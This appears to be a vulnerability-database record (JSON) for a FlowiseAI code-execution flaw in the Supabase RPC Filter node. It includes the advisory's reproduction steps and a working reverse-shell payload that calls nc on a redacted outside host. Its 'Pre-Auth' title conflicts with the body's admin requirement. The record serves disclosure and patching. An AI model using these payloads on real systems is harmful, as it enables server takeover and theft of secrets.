{"id":"CVE-2025-57164","aliases":["GHSA-7944-7c6r-55vv"],"url":"https://o3.security/vulnerability/CVE-2025-57164","summary":"FlowiseAI Pre-Auth Arbitrary Code Execution","details":"## Summary\n\nAn authenticated admin user of **FlowiseAI** can exploit the **Supabase RPC Filter** component to execute **arbitrary server-side code** without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's `execSync()` to launch reverse shells, access environment secrets, or perform any OS-level command execution.\n\nThis results in **full server compromise** and severe breach of trust boundaries between frontend input and backend execution logic.\n\n## Details\n\nFlowiseAI includes a component called `Supabase.ts`, located at: `packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237`\n\n<img width=\"622\" height=\"177\" alt=\"image(3)\" src=\"https://github.com/user-attachments/assets/f30ccd12-4709-44ac-a6ef-8f57a1cb5c3b\" />\n\nThis creates a function from user-provided string `supabaseRPCFilter` with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed **immediately** when the node is triggered.\n\n### Exploit\n\nWe configured our environment to use Supabase entities as follows:\n\n<img width=\"573\" height=\"765\" alt=\"image(4)\" src=\"https://github.com/user-attachments/assets/b8c721db-7b6b-4fb4-99c1-a4b0c3f98caf\" />\n\nTo confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:\n\n<img width=\"1920\" height=\"915\" alt=\"image(5)\" src=\"https://github.com/user-attachments/assets/19e377dd-fd78-4437-b2d4-48c72d75f947\" />\n\n![image-1](https://github.com/user-attachments/assets/34e71d47-6ecb-4a93-af0f-3526696f16e6)\n![image-2](https://github.com/user-attachments/assets/a512537c-caa9-4f70-a7be-1e75a622c06e)\n\nThis results in the **JWT secret being printed** to the frontend, confirming access to server-side environment variables.\n\nSubsequently, a **reverse shell** was successfully established using:\n\n`filter(process.mainModule.require(\"child_process\").execSync(\"nc [REDACTED] 9999 -e /bin/sh\"), \"gt\", 5)`\n\n<img width=\"425\" height=\"475\" alt=\"image(6)\" src=\"https://github.com/user-attachments/assets/6dde2461-8db4-4d8d-8318-7b7171a32eb4\" />\n\nThis proves arbitrary OS-level command execution is possible **within the FlowiseAI backend runtime context**.\n\n## Steps to Reproduce\n\n1. Deploy a FlowiseAI instance with the Supabase vector store enabled.\n2. Login as an admin user.\n3. Drag in a `Supabase` node and configure \"Supabase RPC Filter\".\n4. Insert a malicious payload in the filter expression, such as:\n    \n    `process.mainModule.require(\"child_process\").execSync(\"id\")`\n    \n5. Trigger the chatbot or workflow to activate the node.\n6. Observe execution of arbitrary code on the backend.\n\n## Impact\n\n- **Remote Code Execution** (RCE): Full OS-level code execution from frontend user input.\n- **Environment Leakage**: Access to sensitive env variables like `JWT_REFRESH_TOKEN_SECRET`.\n- **Reverse Shells**: Ability to connect out of the server and gain interactive remote shell access.\n- **Persistence Risk**: Attacker can install malware, establish persistence, or exfiltrate data.\n- **LLM Prompt Tampering**: Malicious outputs may be injected back into LLM chains.\n\n## Trust Boundary Violation\n\nThe vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (`supabaseRPCFilter`) becomes part of **compiled JavaScript logic**, blending user-controlled input with trusted backend execution.\n\nThis violates **OWASP LLM Top 10 - LLM-06: Sensitive Code Execution**, especially in low-code / visual LLM agents.\n\n## Evidence\n\n*Environment variable leakage via malformed JSON*\n\n*Reverse shell successfully triggered using attacker-controlled input*\n\n## Credit\n\n**This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)**","published":"2025-10-17T00:00:00Z","modified":"2026-08-12T03:51:29.802326238Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"flowise","fixedVersion":"3.0.6"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/57xxx/CVE-2025-57164.json"},{"type":"ADVISORY","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57164"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/blob/flowise%403.0.5/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:29.802326238Z"}}